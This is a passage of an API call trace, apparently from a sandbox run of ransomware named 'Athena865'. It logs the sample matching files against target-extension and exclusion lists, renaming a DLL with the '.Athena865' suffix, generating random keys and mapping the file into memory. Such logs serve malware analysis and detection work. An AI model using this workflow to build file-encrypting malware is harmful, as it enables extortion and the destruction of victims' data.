lstrcmpiW (lpString1="op.dll", lpString2="db-wal") returned 1 [0041.841] lstrlenW (lpString="dbc") returned 3 [0041.841] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0041.841] lstrlenW (lpString="dbs") returned 3 [0041.841] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0041.841] lstrlenW (lpString="dbt") returned 3 [0041.841] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0041.841] lstrlenW (lpString="dbv") returned 3 [0041.842] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0041.844] lstrlenW (lpString="dbx") returned 3 [0041.844] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0041.845] lstrlenW (lpString="dcb") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0041.845] lstrlenW (lpString="dct") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0041.845] lstrlenW (lpString="dcx") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0041.845] lstrlenW (lpString="ddl") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0041.845] lstrlenW (lpString="dlis") returned 4 [0041.845] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0041.845] lstrlenW (lpString="dp1") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0041.845] lstrlenW (lpString="dqy") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0041.845] lstrlenW (lpString="dsk") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0041.845] lstrlenW (lpString="dsn") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0041.845] lstrlenW (lpString="dtsx") returned 4 [0041.845] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0041.845] lstrlenW (lpString="dxl") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0041.845] lstrlenW (lpString="eco") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0041.845] lstrlenW (lpString="ecx") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0041.845] lstrlenW (lpString="edb") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0041.845] lstrlenW (lpString="epim") returned 4 [0041.845] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0041.845] lstrlenW (lpString="fcd") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0041.845] lstrlenW (lpString="fdb") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0041.845] lstrlenW (lpString="fic") returned 3 [0041.845] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0041.845] lstrlenW (lpString="flexolibrary") returned 12 [0041.846] lstrlenW (lpString="fm5") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0041.846] lstrlenW (lpString="fmp") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0041.846] lstrlenW (lpString="fmp12") returned 5 [0041.846] lstrcmpiW (lpString1="p.dll", lpString2="fmp12") returned 1 [0041.846] lstrlenW (lpString="fmpsl") returned 5 [0041.846] lstrcmpiW (lpString1="p.dll", lpString2="fmpsl") returned 1 [0041.846] lstrlenW (lpString="fol") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0041.846] lstrlenW (lpString="fp3") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0041.846] lstrlenW (lpString="fp4") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0041.846] lstrlenW (lpString="fp5") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0041.846] lstrlenW (lpString="fp7") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0041.846] lstrlenW (lpString="fpt") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0041.846] lstrlenW (lpString="frm") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0041.846] lstrlenW (lpString="gdb") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0041.846] lstrlenW (lpString="gdb") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0041.846] lstrlenW (lpString="grdb") returned 4 [0041.846] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0041.846] lstrlenW (lpString="gwi") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0041.846] lstrlenW (lpString="hdb") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0041.846] lstrlenW (lpString="his") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0041.846] lstrlenW (lpString="ib") returned 2 [0041.846] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0041.846] lstrlenW (lpString="idb") returned 3 [0041.846] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0041.847] lstrlenW (lpString="ihx") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0041.847] lstrlenW (lpString="itdb") returned 4 [0041.847] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0041.847] lstrlenW (lpString="itw") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0041.847] lstrlenW (lpString="jet") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0041.847] lstrlenW (lpString="jtx") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0041.847] lstrlenW (lpString="kdb") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0041.847] lstrlenW (lpString="kexi") returned 4 [0041.847] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0041.847] lstrlenW (lpString="kexic") returned 5 [0041.847] lstrcmpiW (lpString1="p.dll", lpString2="kexic") returned 1 [0041.847] lstrlenW (lpString="kexis") returned 5 [0041.847] lstrcmpiW (lpString1="p.dll", lpString2="kexis") returned 1 [0041.847] lstrlenW (lpString="lgc") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0041.847] lstrlenW (lpString="lwx") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0041.847] lstrlenW (lpString="maf") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0041.847] lstrlenW (lpString="maq") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0041.847] lstrlenW (lpString="mar") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0041.847] lstrlenW (lpString="marshal") returned 7 [0041.847] lstrcmpiW (lpString1="rop.dll", lpString2="marshal") returned 1 [0041.847] lstrlenW (lpString="mas") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0041.847] lstrlenW (lpString="mav") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0041.847] lstrlenW (lpString="maw") returned 3 [0041.847] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0041.848] lstrlenW (lpString="mdbhtml") returned 7 [0041.848] lstrcmpiW (lpString1="rop.dll", lpString2="mdbhtml") returned 1 [0041.848] lstrlenW (lpString="mdn") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0041.848] lstrlenW (lpString="mdt") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0041.848] lstrlenW (lpString="mfd") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0041.848] lstrlenW (lpString="mpd") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0041.848] lstrlenW (lpString="mrg") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0041.848] lstrlenW (lpString="mud") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0041.848] lstrlenW (lpString="mwb") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0041.848] lstrlenW (lpString="myd") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0041.848] lstrlenW (lpString="ndf") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0041.848] lstrlenW (lpString="nnt") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0041.848] lstrlenW (lpString="nrmlib") returned 6 [0041.848] lstrcmpiW (lpString1="op.dll", lpString2="nrmlib") returned 1 [0041.848] lstrlenW (lpString="ns2") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0041.848] lstrlenW (lpString="ns3") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0041.848] lstrlenW (lpString="ns4") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0041.848] lstrlenW (lpString="nsf") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0041.848] lstrlenW (lpString="nv") returned 2 [0041.848] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0041.848] lstrlenW (lpString="nv2") returned 3 [0041.848] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0041.848] lstrlenW (lpString="nwdb") returned 4 [0041.848] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0041.849] lstrlenW (lpString="nyf") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0041.849] lstrlenW (lpString="odb") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0041.849] lstrlenW (lpString="odb") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0041.849] lstrlenW (lpString="oqy") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0041.849] lstrlenW (lpString="ora") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0041.849] lstrlenW (lpString="orx") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0041.849] lstrlenW (lpString="owc") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0041.849] lstrlenW (lpString="p96") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0041.849] lstrlenW (lpString="p97") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0041.849] lstrlenW (lpString="pan") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0041.849] lstrlenW (lpString="pdb") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0041.849] lstrlenW (lpString="pdm") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0041.849] lstrlenW (lpString="pnz") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0041.849] lstrlenW (lpString="qry") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0041.849] lstrlenW (lpString="qvd") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0041.849] lstrlenW (lpString="rbf") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0041.849] lstrlenW (lpString="rctd") returned 4 [0041.849] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0041.849] lstrlenW (lpString="rod") returned 3 [0041.849] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0041.849] lstrlenW (lpString="rodx") returned 4 [0041.849] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0041.850] lstrlenW (lpString="rpd") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0041.850] lstrlenW (lpString="rsd") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0041.850] lstrlenW (lpString="sas7bdat") returned 8 [0041.850] lstrcmpiW (lpString1="drop.dll", lpString2="sas7bdat") returned -1 [0041.850] lstrlenW (lpString="sbf") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0041.850] lstrlenW (lpString="scx") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0041.850] lstrlenW (lpString="sdb") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0041.850] lstrlenW (lpString="sdc") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0041.850] lstrlenW (lpString="sdf") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0041.850] lstrlenW (lpString="sis") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0041.850] lstrlenW (lpString="spq") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0041.850] lstrlenW (lpString="te") returned 2 [0041.850] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0041.850] lstrlenW (lpString="teacher") returned 7 [0041.850] lstrcmpiW (lpString1="rop.dll", lpString2="teacher") returned -1 [0041.850] lstrlenW (lpString="tmd") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0041.850] lstrlenW (lpString="tps") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0041.850] lstrlenW (lpString="trc") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0041.850] lstrlenW (lpString="trc") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0041.850] lstrlenW (lpString="trm") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0041.850] lstrlenW (lpString="udb") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0041.850] lstrlenW (lpString="udl") returned 3 [0041.850] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0041.851] lstrlenW (lpString="usr") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0041.851] lstrlenW (lpString="v12") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0041.851] lstrlenW (lpString="vis") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0041.851] lstrlenW (lpString="vpd") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0041.851] lstrlenW (lpString="vvv") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0041.851] lstrlenW (lpString="wdb") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0041.851] lstrlenW (lpString="wmdb") returned 4 [0041.851] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0041.851] lstrlenW (lpString="wrk") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0041.851] lstrlenW (lpString="xdb") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0041.851] lstrlenW (lpString="xld") returned 3 [0041.851] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0041.851] lstrlenW (lpString="xmlff") returned 5 [0041.851] lstrcmpiW (lpString1="p.dll", lpString2="xmlff") returned -1 [0041.851] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\sbdrop.dll.Athena865") returned 53 [0041.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\sbdrop.dll" (normalized: "c:\\program files\\windows sidebar\\sbdrop.dll"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\sbdrop.dll.Athena865" (normalized: "c:\\program files\\windows sidebar\\sbdrop.dll.athena865"), dwFlags=0x1) returned 1 [0041.855] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\sbdrop.dll.Athena865" (normalized: "c:\\program files\\windows sidebar\\sbdrop.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=87552) returned 1 [0041.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.855] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.856] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.856] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.856] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15900, lpName=0x0) returned 0x154 [0041.858] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15900) returned 0x100000 [0041.875] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.875] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.875] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0041.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0041.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.876] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.876] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.877] CloseHandle (hObject=0x154) returned 1 [0041.877] CloseHandle (hObject=0x17c) returned 1 [0041.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.879] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80497579, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf43439, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf43439, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0041.879] lstrcmpiW (lpString1="settings.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.879] lstrcmpiW (lpString1="settings.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.879] lstrcmpiW (lpString1="settings.ini", lpString2=".") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="..") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="windows") returned -1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="bootmgr") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="temp") returned -1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="pagefile.sys") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="boot") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="ids.txt") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="ntuser.dat") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="perflogs") returned 1 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2="MSBuild") returned 1 [0041.880] lstrlenW (lpString="settings.ini") returned 12 [0041.880] lstrcpyW (in: lpString1=0x241e88a, lpString2="settings.ini" | out: lpString1="settings.ini") returned="settings.ini" [0041.880] lstrlenW (lpString="settings.ini") returned 12 [0041.880] lstrlenW (lpString="Athena865") returned 9 [0041.880] lstrcmpiW (lpString1="tings.ini", lpString2="Athena865") returned 1 [0041.880] lstrlenW (lpString=".dll") returned 4 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2=".dll") returned 1 [0041.880] lstrlenW (lpString=".lnk") returned 4 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2=".lnk") returned 1 [0041.880] lstrlenW (lpString=".ini") returned 4 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2=".ini") returned 1 [0041.880] lstrlenW (lpString=".sys") returned 4 [0041.880] lstrcmpiW (lpString1="settings.ini", lpString2=".sys") returned 1 [0041.880] lstrlenW (lpString="settings.ini") returned 12 [0041.880] lstrlenW (lpString="bak") returned 3 [0041.880] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0041.880] lstrlenW (lpString="ba_") returned 3 [0041.880] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0041.880] lstrlenW (lpString="dbb") returned 3 [0041.880] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0041.880] lstrlenW (lpString="vmdk") returned 4 [0041.880] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0041.880] lstrlenW (lpString="rar") returned 3 [0041.880] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0041.880] lstrlenW (lpString="zip") returned 3 [0041.880] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0041.880] lstrlenW (lpString="tgz") returned 3 [0041.880] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0041.881] lstrlenW (lpString="vbox") returned 4 [0041.881] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0041.881] lstrlenW (lpString="vdi") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0041.881] lstrlenW (lpString="vhd") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0041.881] lstrlenW (lpString="vhdx") returned 4 [0041.881] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0041.881] lstrlenW (lpString="avhd") returned 4 [0041.881] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0041.881] lstrlenW (lpString="db") returned 2 [0041.881] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0041.881] lstrlenW (lpString="db2") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0041.881] lstrlenW (lpString="db3") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0041.881] lstrlenW (lpString="dbf") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0041.881] lstrlenW (lpString="mdf") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0041.881] lstrlenW (lpString="mdb") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0041.881] lstrlenW (lpString="sql") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0041.881] lstrlenW (lpString="sqlite") returned 6 [0041.881] lstrcmpiW (lpString1="gs.ini", lpString2="sqlite") returned -1 [0041.881] lstrlenW (lpString="sqlite3") returned 7 [0041.881] lstrcmpiW (lpString1="ngs.ini", lpString2="sqlite3") returned -1 [0041.881] lstrlenW (lpString="sqlitedb") returned 8 [0041.881] lstrcmpiW (lpString1="ings.ini", lpString2="sqlitedb") returned -1 [0041.881] lstrlenW (lpString="xml") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0041.881] lstrlenW (lpString="$er") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0041.881] lstrlenW (lpString="4dd") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0041.881] lstrlenW (lpString="4dl") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0041.881] lstrlenW (lpString="^^^") returned 3 [0041.881] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0041.881] lstrlenW (lpString="abs") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0041.882] lstrlenW (lpString="abx") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0041.882] lstrlenW (lpString="accdb") returned 5 [0041.882] lstrcmpiW (lpString1="s.ini", lpString2="accdb") returned 1 [0041.882] lstrlenW (lpString="accdc") returned 5 [0041.882] lstrcmpiW (lpString1="s.ini", lpString2="accdc") returned 1 [0041.882] lstrlenW (lpString="accde") returned 5 [0041.882] lstrcmpiW (lpString1="s.ini", lpString2="accde") returned 1 [0041.882] lstrlenW (lpString="accdr") returned 5 [0041.882] lstrcmpiW (lpString1="s.ini", lpString2="accdr") returned 1 [0041.882] lstrlenW (lpString="accdt") returned 5 [0041.882] lstrcmpiW (lpString1="s.ini", lpString2="accdt") returned 1 [0041.882] lstrlenW (lpString="accdw") returned 5 [0041.882] lstrcmpiW (lpString1="s.ini", lpString2="accdw") returned 1 [0041.882] lstrlenW (lpString="accft") returned 5 [0041.882] lstrcmpiW (lpString1="s.ini", lpString2="accft") returned 1 [0041.882] lstrlenW (lpString="adb") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0041.882] lstrlenW (lpString="adb") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0041.882] lstrlenW (lpString="ade") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0041.882] lstrlenW (lpString="adf") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0041.882] lstrlenW (lpString="adn") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0041.882] lstrlenW (lpString="adp") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0041.882] lstrlenW (lpString="alf") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0041.882] lstrlenW (lpString="ask") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0041.882] lstrlenW (lpString="btr") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0041.882] lstrlenW (lpString="cat") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0041.882] lstrlenW (lpString="cdb") returned 3 [0041.882] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0041.883] lstrlenW (lpString="ckp") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0041.883] lstrlenW (lpString="cma") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0041.883] lstrlenW (lpString="cpd") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0041.883] lstrlenW (lpString="dacpac") returned 6 [0041.883] lstrcmpiW (lpString1="gs.ini", lpString2="dacpac") returned 1 [0041.883] lstrlenW (lpString="dad") returned 3 [0041.883] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0041.883] lstrlenW (lpString="dadiagrams") returned 10 [0041.883] lstrcmpiW (lpString1="ttings.ini", lpString2="dadiagrams") returned 1 [0041.883] 